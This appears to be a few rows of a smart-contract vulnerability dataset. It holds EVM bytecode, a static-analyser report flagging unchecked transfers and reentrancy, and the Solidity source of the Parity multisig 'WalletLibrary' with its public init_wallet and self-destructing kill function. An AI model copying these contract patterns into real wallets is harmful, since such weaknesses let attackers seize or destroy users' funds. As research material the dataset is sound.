1bf6004a76f049a3360891f916929081900390910190a1505050565b600f546001600160a01b031633146115d3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600f546001600160a01b03163314611642576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b60105481565b60026020526000908152604090205481565b600f546001600160a01b031633146116b2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561175a5780601f1061172f5761010080835404028352916020019161175a565b820191906000526020600020905b81548152906001019060200180831161173d57829003601f168201915b505050505081565b600f546001600160a01b031633146117af576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006546001600160a01b038381169116148015906117db57506007546001600160a01b03838116911614155b61181a576040805162461bcd60e51b815260206004820152600b60248201526a6d61696e20746f6b656e7360a81b604482015290519081900360640190fd5b6001600160a01b0382161561192d576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561187857600080fd5b505afa15801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156118fa57600080fd5b505af115801561190e573d6000803e3d6000fd5b505050506040513d602081101561192457600080fd5b5061099d915050565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611965573d6000803e3d6000fd5b50505050565b600f546001600160a01b031633146119b8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600c55565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906119f0575060045415155b15611a9557600454600019015b60048181548110611a0a57fe5b906000526020600020906003020160010154831015611a9357611a7e610da960048381548110611a3657fe5b906000526020600020906003020160020154610da360026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b915080611a8a57611a93565b600019016119fd565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111f2908490611cad565b6000611b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e64565b90505b92915050565b600082611b7157506000611b5c565b82820282848281611b7e57fe5b0414611b595760405162461bcd60e51b815260040180806020018281038252602181526020018061205f6021913960400191505060405180910390fd5b6000611b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611efb565b600082820183811015611b59576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119659085905b611cbf826001600160a01b0316611f60565b611d10576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611daf576040519150601f19603f3d011682016040523d82523d6000602084013e611db4565b606091505b509150915081611e0b576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561196557808060200190516020811015611e2757600080fd5b50516119655760405162461bcd60e51b815260040180806020018281038252602a815260200180612080602a913960400191505060405180910390fd5b60008184841115611ef35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611eb8578181015183820152602001611ea0565b50505050905090810190601f168015611ee55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611f4a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611eb8578181015183820152602001611ea0565b506000838581611f5657fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611f945750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611fd25760008555612018565b82601f10611feb57805160ff1916838001178555612018565b82800160010185558215612018579182015b82811115612018578251825591602001919060010190611ffd565b50612024929150612049565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b80821115612024576000815560010161204a56fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122042d613be6e3a02fe17c0d7be989a2adfbd1c498a58a82ef65db2b1803e6a571264736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,252
0xff7a1d565ff66406639bd45482e0a7d0a82845df
//! A Multi-signature, daily-limited account proxy/wallet library. //! //! Inheritable "property" contract that enables methods to be protected by //! requiring the acquiescence of either a single, or, crucially, each of a //! number of, designated owners. //! //! Usage: use modifiers onlyowner (just own owned) or onlymanyowners(hash), //! whereby the same hash must be provided by some number (specified in //! constructor) of the set of owners (specified in the constructor, modifiable) //! before the interior is executed. //! //! Version: Parity fork 1.0 //! //! Copyright 2016-17 Gavin Wood and Nicolas Gotchac, Parity Technologies Ltd. //! //! Licensed under the Apache License, Version 2.0 (the "License"); //! you may not use this file except in compliance with the License. //! You may obtain a copy of the License at //! //! http://www.apache.org/licenses/LICENSE-2.0 //! //! Unless required by applicable law or agreed to in writing, software //! distributed under the License is distributed on an "AS IS" BASIS, //! WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //! See the License for the specific language governing permissions and //! limitations under the License. pragma solidity ^0.4.13; contract multiowned { // TYPES // struct for the status of a pending operation. struct PendingState { uint yetNeeded; uint ownersDone; uint index; } // EVENTS // this contract only has six types of events: it can accept a confirmation, in which case // we record owner and operation (hash) alongside it. event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); // some others are in the case of an owner changing. event OwnerChanged(address oldOwner, address newOwner); event OwnerAdded(address newOwner); event OwnerRemoved(address oldOwner); // the last one is emitted if the required signatures change event RequirementChanged(uint newRequirement); // MODIFIERS // simple single-sig function modifier. modifier onlyowner { if (isOwner(msg.sender)) _; } // multi-sig function modifier: the operation must have an intrinsic hash in order // that later attempts can be realised as the same underlying operation and // thus count as confirmations. modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) _; } modifier only_uninitialized { require(m_numOwners == 0); _; } // METHODS // constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them. function init_multiowned(address[] _owners, uint _required) only_uninitialized internal { require(_required > 0); require(_owners.length >= _required); m_numOwners = _owners.length; for (uint i = 0; i < _owners.length; ++i) { m_owners[1 + i] = uint(_owners[i]); m_ownerIndex[uint(_owners[i])] = 1 + i; } m_required = _required; } // Revokes a prior confirmation of the given operation function revoke(bytes32 _operation) external { uint ownerIndex = m_ownerIndex[uint(msg.sender)]; // make sure they're an owner if (ownerIndex == 0) return; uint ownerIndexBit = 2**ownerIndex; var pending = m_pending[_operation]; if (pending.ownersDone & ownerIndexBit > 0) { pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; Revoke(msg.sender, _operation); } } // Replaces an owner `_from` with another `_to`. function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external { if (isOwner(_to)) return; uint ownerIndex = m_ownerIndex[uint(_from)]; if (ownerIndex == 0) return; clearPending(); m_owners[ownerIndex] = uint(_to); m_ownerIndex[uint(_from)] = 0; m_ownerIndex[uint(_to)] = ownerIndex; OwnerChanged(_from, _to); } function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external { if (isOwner(_owner)) return; clearPending(); if (m_numOwners >= c_maxOwners) reorganizeOwners(); if (m_numOwners >= c_maxOwners) return; m_numOwners++; m_owners[m_numOwners] = uint(_owner); m_ownerIndex[uint(_owner)] = m_numOwners; OwnerAdded(_owner); } function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external { uint ownerIndex = m_ownerIndex[uint(_owner)]; if (ownerIndex == 0) return; if (m_required > m_numOwners - 1) return; m_owners[ownerIndex] = 0; m_ownerIndex[uint(_owner)] = 0; clearPending(); reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot OwnerRemoved(_owner); } function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external { if (_newRequired == 0) return; if (_newRequired > m_numOwners) return; m_required = _newRequired; clearPending(); RequirementChanged(_newRequired); } // Gets an owner by 0-indexed position (using numOwners as the count) function getOwner(uint ownerIndex) external constant returns (address) { return address(m_owners[ownerIndex + 1]); } function isOwner(address _addr) public constant returns (bool) { return m_ownerIndex[uint(_addr)] > 0; } function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) { var pending = m_pending[_operation]; uint ownerIndex = m_ownerIndex[uint(_owner)]; // make sure they're an owner if (ownerIndex == 0) return false; // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; return !(pending.ownersDone & ownerIndexBit == 0); } // INTERNAL METHODS function confirmAndCheck(bytes32 _operation) internal returns (bool) { // determine what index the present sender is: uint ownerIndex = m_ownerIndex[uint(msg.sender)]; // make sure they're an owner if (ownerIndex == 0) return; var pending = m_pending[_operation]; // if we're not yet working on this operation, switch over and reset the confirmation status. if (pending.yetNeeded == 0) { // reset count of confirmations needed. pending.yetNeeded = m_required; // reset which owners have confirmed (none) - set our bitmap to 0. pending.ownersDone = 0; pending.index = m_pendingIndex.length++; m_pendingIndex[pending.index] = _operation; } // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; // make sure we (the message sender) haven't confirmed this operation previously. if (pending.ownersDone & ownerIndexBit == 0) { Confirmation(msg.sender, _operation); // ok - check if count is enough to go ahead. if (pending.yetNeeded == 1) { // enough confirmations: reset and run interior. delete m_pendingIndex[m_pending[_operation].index]; delete m_pending[_operation]; return true; } else { // not enough: record that this owner in particular confirmed. pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; } } } function reorganizeOwners() private { uint free = 1; while (free < m_numOwners) { while (free < m_numOwners && m_owners[free] != 0) free++; while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } function clearPending() internal { uint length = m_pendingIndex.length; for (uint i = 0; i < length; ++i) if (m_pendingIndex[i] != 0) delete m_pending[m_pendingIndex[i]]; delete m_pendingIndex; } // FIELDS // the number of owners that must confirm the same operation before it is run. uint public m_required; // pointer used to find a free slot in m_owners uint public m_numOwners; // list of owners uint[256] m_owners; uint constant c_maxOwners = 250; // index on the list of owners to allow reverse lookup mapping(uint => uint) m_ownerIndex; // the ongoing operations. mapping(bytes32 => PendingState) m_pending; bytes32[] m_pendingIndex; } // inheritable "property" contract that enables methods to be protected by placing a linear limit (specifiable) // on a particular resource per calendar day. is multiowned to allow the limit to be altered. resource that method // uses is specified in the modifier. contract daylimit is multiowned { // METHODS // constructor - stores initial daily limit and records the present day's index. function init_daylimit(uint _limit) only_uninitialized internal { m_dailyLimit = _limit; m_lastDay = today(); } // (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today. function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external { m_dailyLimit = _newLimit; } // resets the amount already spent today. needs many of the owners to confirm. function resetSpentToday() onlymanyowners(sha3(msg.data)) external { m_spentToday = 0; } // INTERNAL METHODS // checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and // returns true. otherwise just returns false. function underLimit(uint _value) onlyowner internal returns (bool) { // reset the spend limit if we're on a different day to last time. if (today() > m_lastDay) { m_spentToday = 0; m_lastDay = today(); } // check to see if there's enough left - if so, subtract and return true. // overflow protection // dailyLimit check if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) { m_spentToday += _value; return true; } return false; } // determines today's index. function today() private constant returns (uint) { return now / 1 days; } // FIELDS uint public m_dailyLimit; uint public m_spentToday; uint public m_lastDay; } // interface contract for multisig proxy contracts; see below for docs. contract multisig { // EVENTS // logged events: // Funds has arrived into the wallet (record how much). event Deposit(address _from, uint value); // Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going). event SingleTransact(address owner, uint value, address to, bytes data, address created); // Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going). event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created); // Confirmation still needed for a transaction. event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data); // FUNCTIONS // TODO: document function changeOwner(address _from, address _to) external; function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash); function confirm(bytes32 _h) public returns (bool o_success); } contract creator { function doCreate(uint _value, bytes _code) internal returns (address o_addr) { bool failed; assembly { o_addr := create(_value, add(_code, 0x20), mload(_code)) failed := iszero(extcodesize(o_addr)) } require(!failed); } } // usage: // bytes32 h = Wallet(w).from(oneOwner).execute(to, value, data); // Wallet(w).from(anotherOwner).confirm(h); contract WalletLibrary is multisig, multiowned, daylimit, creator { // TYPES // Transaction structure to remember details of transaction lest it need be saved for a later call. struct Transaction { address to; uint value; bytes data; } // METHODS // constructor - just pass on the owner array to the multiowned and // the limit to daylimit function WalletLibrary() { address[] owners; owners.push(address(0x0)); init_wallet(owners, 1, 0); } function init_wallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized public { init_daylimit(_daylimit); init_multiowned(_owners, _required); } // kills the contract sending everything to `_to`. function kill(address _to) onlymanyowners(sha3(msg.data)) external { suicide(_to); } // gets called when no other function matches function() payable { // just being sent some cash? if (msg.value > 0) Deposit(msg.sender, msg.value); } // Outside-visible transact entry point. Executes transaction immediately if below daily spend limit. // If not, goes into multisig process. We provide a hash on return to allow the sender to provide // shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value // and _data arguments). They still get the option of using them if they want, anyways. function execute(address _to, uint _value, bytes _data) onlyowner external returns (bytes32 o_hash) { // first, take the opportunity to check that we're under the daily limit. if ((_data.length == 0 && underLimit(_value)) || m_required == 1) { // yes - just execute the call. address created; if (_to == 0) { created = create(_value, _data); } else { require(_to.call.value(_value)(_data)); } SingleTransact(msg.sender, _value, _to, _data, created); } else { // determine our operation hash. o_hash = sha3(msg.data, block.number); // store if it's new if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) { m_txs[o_hash].to = _to; m_txs[o_hash].value = _value; m_txs[o_hash].data = _data; } if (!confirm(o_hash)) { ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data); } } } function create(uint _value, bytes _code) internal returns (address o_addr) { return doCreate(_value, _code); } // confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order // to determine the body of the transaction from the hash provided. function confirm(bytes32 _h) onlymanyowners(_h) public returns (bool o_success) { if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) { address created; if (m_txs[_h].to == 0) { created = create(m_txs[_h].value, m_txs[_h].data); } else { require(m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data)); } MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created); delete m_txs[_h]; return true; } } // INTERNAL METHODS function clearPending() internal { uint length = m_pendingIndex.length; for (uint i = 0; i < length; ++i) delete m_txs[m_pendingIndex[i]]; super.clearPending(); } // FIELDS // pending transactions we have at present. mapping (bytes32 => Transaction) m_txs; }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063173825d91461017e5780632f54bf6e146101b75780634123cb6b1461020857806352375093146102315780635c52c2f51461025a578063659010e71461026f5780637065cb4814610298578063746c9171146102d1578063797af627146102fa57806390ca20e514610339578063b20d30a9146103a5578063b61d27f6146103c8578063b75c7dc61461043a578063ba51a6df14610461578063c2cf732614610484578063c41a360a146104e2578063cbf0b0c014610545578063f00d4b5d1461057e578063f1736d86146105d6575b600034111561017c577fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b005b341561018957600080fd5b6101b5600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506105ff565b005b34156101c257600080fd5b6101ee600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061073b565b604051808215151515815260200191505060405180910390f35b341561021357600080fd5b61021b610771565b6040518082815260200191505060405180910390f35b341561023c57600080fd5b610244610777565b6040518082815260200191505060405180910390f35b341561026557600080fd5b61026d61077e565b005b341561027a57600080fd5b6102826107b7565b6040518082815260200191505060405180910390f35b34156102a357600080fd5b6102cf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107be565b005b34156102dc57600080fd5b6102e4610905565b6040518082815260200191505060405180910390f35b341561030557600080fd5b61031f60048080356000191690602001909190505061090b565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b6103a3600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091908035906020019091905050610ea0565b005b34156103b057600080fd5b6103c66004808035906020019091905050610ec9565b005b34156103d357600080fd5b61041c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190820180359060200191909192905050610f02565b60405180826000191660001916815260200191505060405180910390f35b341561044557600080fd5b61045f600480803560001916906020019091905050611371565b005b341561046c57600080fd5b6104826004808035906020019091905050611485565b005b341561048f57600080fd5b6104c860048080356000191690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061151a565b604051808215151515815260200191505060405180910390f35b34156104ed57600080fd5b610503600480803590602001909190505061159a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561055057600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115b8565b005b341561058957600080fd5b6105d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611601565b005b34156105e157600080fd5b6105e96117ae565b6040518082815260200191505060405180910390f35b60008036604051808383808284378201915050925050506040518091039020610627816117b5565b156107365761010260008473ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600082141561066757610735565b6001805403600054111561067a57610735565b60006002836101008110151561068c57fe5b0181905550600061010260008573ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506106c96119c0565b6106d1611a69565b7f58619076adf5bb0943d100ef88d52d7c3fd691b19d3a9071b555b651fbf418da83604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b5b505050565b60008061010260008473ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b60015481565b6101075481565b6000366040518083838082843782019150509250505060405180910390206107a5816117b5565b156107b4576000610106819055505b50565b6101065481565b6000366040518083838082843782019150509250505060405180910390206107e5816117b5565b15610901576107f38261073b565b156107fd57610900565b6108056119c0565b60fa60015410151561081a57610819611a69565b5b60fa60015410151561082b57610900565b6001600081548092919060010191905055508173ffffffffffffffffffffffffffffffffffffffff1660026001546101008110151561086657fe5b018190555060015461010260008473ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f994a936646fe87ffe4f1e469d3d6aa417d6b855598397f323de5b449f765f0c382604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b5b5050565b60005481565b60008082610918816117b5565b15610e995760006101086000866000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415806109a257506000610108600086600019166000191681526020019081526020016000206001015414155b806109e1575060006101086000866000191660001916815260200190815260200160002060020180546001816001161561010002031660029004905014155b15610e975760006101086000866000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b2b57610b246101086000866000191660001916815260200190815260200160002060010154610108600087600019166000191681526020019081526020016000206002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1a5780601f10610aef57610100808354040283529160200191610b1a565b820191906000526020600020905b815481529060010190602001808311610afd57829003601f168201915b5050505050611bae565b9150610c47565b6101086000856000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166101086000866000191660001916815260200190815260200160002060010154610108600087600019166000191681526020019081526020016000206002016040518082805460018160011615610100020316600290048015610c255780601f10610bfa57610100808354040283529160200191610c25565b820191906000526020600020905b815481529060010190602001808311610c0857829003601f168201915b505091505060006040518083038185875af1925050501515610c4657600080fd5b5b7fe3a3a4111a84df27d76b68dc721e65c7711605ea5eee4afd3a9c58195217365c338561010860008860001916600019168152602001908152602001600020600101546101086000896000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661010860008a6000191660001916815260200190815260200160002060020187604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200186600019166000191681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015610e1d5780601f10610df257610100808354040283529160200191610e1d565b820191906000526020600020905b815481529060010190602001808311610e0057829003601f168201915b505097505050505050505060405180910390a161010860008560001916600019168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055600282016000610e8c9190611e51565b505060019250610e98565b5b5b5050919050565b6000600154141515610eb157600080fd5b610eba81611bc2565b610ec48383611bed565b505050565b600036604051808383808284378201915050925050506040518091039020610ef0816117b5565b15610efe5781610105819055505b5050565b600080610f0e3361073b565b1561136857600084849050148015610f2b5750610f2a85611cda565b5b80610f3857506001600054145b156110e35760008673ffffffffffffffffffffffffffffffffffffffff161415610f9f57610f988585858080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050611bae565b9050610fe9565b8573ffffffffffffffffffffffffffffffffffffffff168585856040518083838082843782019150509250505060006040518083038185875af1925050501515610fe857600080fd5b5b7f9738cd1a8777c86b011f7b01d87d484217dc6ab5154a9d41eda5d14af8caf292338688878786604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252858582818152602001925080828437820191505097505050505050505060405180910390a1611367565b6000364360405180848480828437820191505082815260200193505050506040518091039020915060006101086000846000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561118f575060006101086000846000191660001916815260200190815260200160002060010154145b80156111ce5750600061010860008460001916600019168152602001908152602001600020600201805460018160011615610100020316600290049050145b1561128557856101086000846000191660001916815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508461010860008460001916600019168152602001908152602001600020600101819055508383610108600085600019166000191681526020019081526020016000206002019190611283929190611e99565b505b61128e8261090b565b1515611366577f1733cbb53659d713b79580f79f3f9ff215f78a7c7aa45890f3b89fc5cddfbf328233878988886040518087600019166000191681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018281038252848482818152602001925080828437820191505097505050505050505060405180910390a15b5b5b50949350505050565b600080600061010260003373ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054925060008314156113b15761147f565b8260020a9150610103600085600019166000191681526020019081526020016000209050600082826001015416111561147e5780600001600081548092919060010191905055508181600101600082825403925050819055507fc7fb647e59b18047309aa15aad418e5d7ca96d173ad704f1031a2c3d7591734b3385604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600019166000191681526020019250505060405180910390a15b5b50505050565b6000366040518083838082843782019150509250505060405180910390206114ac816117b5565b156115165760008214156114bf57611515565b6001548211156114ce57611515565b816000819055506114dd6119c0565b7facbdb084c721332ac59f9b8e392196c9eb0e4932862da8eb9beaf0dad4f550da826040518082815260200191505060405180910390a15b5b5050565b60008060008061010360008760001916600019168152602001908152602001600020925061010260008673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600082141561157d5760009350611591565b8160020a9050600081846001015416141593505b50505092915050565b6000600260018301610100811015156115af57fe5b01549050919050565b6000366040518083838082843782019150509250505060405180910390206115df816117b5565b156115fd578173ffffffffffffffffffffffffffffffffffffffff16ff5b5050565b60008036604051808383808284378201915050925050506040518091039020611629816117b5565b156117a8576116378361073b565b15611641576117a7565b61010260008573ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600082141561167c576117a7565b6116846119c0565b8273ffffffffffffffffffffffffffffffffffffffff16600283610100811015156116ab57fe5b0181905550600061010260008673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508161010260008573ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c8484604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15b5b50505050565b6101055481565b60008060008061010260003373ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054925060008314156117f6576119b8565b61010360008660001916600019168152602001908152602001600020915060008260000154141561187c57600054826000018190555060008260010181905550610104805480919060010161184b9190611f19565b826002018190555084610104836002015481548110151561186857fe5b906000526020600020900181600019169055505b8260020a905060008183600101541614156119b7577fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda3386604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600019166000191681526020019250505060405180910390a160018260000154141561198f57610104610103600087600019166000191681526020019081526020016000206002015481548110151561194057fe5b90600052602060002090016000905561010360008660001916600019168152602001908152602001600020600080820160009055600182016000905560028201600090555050600193506119b8565b8160000160008154809291906001900391905055508082600101600082825417925050819055505b5b505050919050565b600080610104805490509150600090505b81811015611a5d576101086000610104838154811015156119ee57fe5b90600052602060002090015460001916600019168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055600282016000611a509190611e51565b50508060010190506119d1565b611a65611d5f565b5050565b6000600190505b600154811015611bab575b60015481108015611a9e5750600060028261010081101515611a9957fe5b015414155b15611ab0578080600101915050611a7b565b5b60018054118015611ad557506000600260015461010081101515611ad157fe5b0154145b15611af25760016000815480929190600190039190505550611ab1565b60015481108015611b1757506000600260015461010081101515611b1257fe5b015414155b8015611b345750600060028261010081101515611b3057fe5b0154145b15611ba657600260015461010081101515611b4b57fe5b015460028261010081101515611b5d57fe5b018190555080610102600060028461010081101515611b7857fe5b01548152602001908152602001600020819055506000600260015461010081101515611ba057fe5b01819055505b611a70565b50565b6000611bba8383611e15565b905092915050565b6000600154141515611bd357600080fd5b8061010581905550611be3611e3b565b6101078190555050565b600080600154141515611bff57600080fd5b600082111515611c0e57600080fd5b81835110151515611c1e57600080fd5b8251600181905550600090505b8251811015611cce578281815181101515611c4257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1660028260010161010081101515611c7557fe5b01819055508060010161010260008584815181101515611c9157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001019050611c2b565b81600081905550505050565b6000611ce53361073b565b15611d5a5761010754611cf6611e3b565b1115611d1557600061010681905550611d0d611e3b565b610107819055505b6101065482610106540110158015611d3557506101055482610106540111155b15611d5457816101066000828254019250508190555060019050611d59565b600090505b5b919050565b600080610104805490509150600090505b81811015611e0257600060010261010482815481101515611d8d57fe5b90600052602060002090015460001916141515611df757610103600061010483815481101515611db957fe5b906000526020600020900154600019166000191681526020019081526020016000206000808201600090556001820160009055600282016000905550505b806001019050611d70565b6101046000611e119190611f45565b5050565b60008082516020840185f09150813b15905080151515611e3457600080fd5b5092915050565b60006201518042811515611e4b57fe5b04905090565b50805460018160011615610100020316600290046000825580601f10611e775750611e96565b601f016020900490600052602060002090810190611e959190611f66565b5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611eda57803560ff1916838001178555611f08565b82800160010185558215611f08579182015b82811115611f07578235825591602001919060010190611eec565b5b509050611f159190611f66565b5090565b815481835581811511611f4057818360005260206000209182019101611f3f9190611f8b565b5b50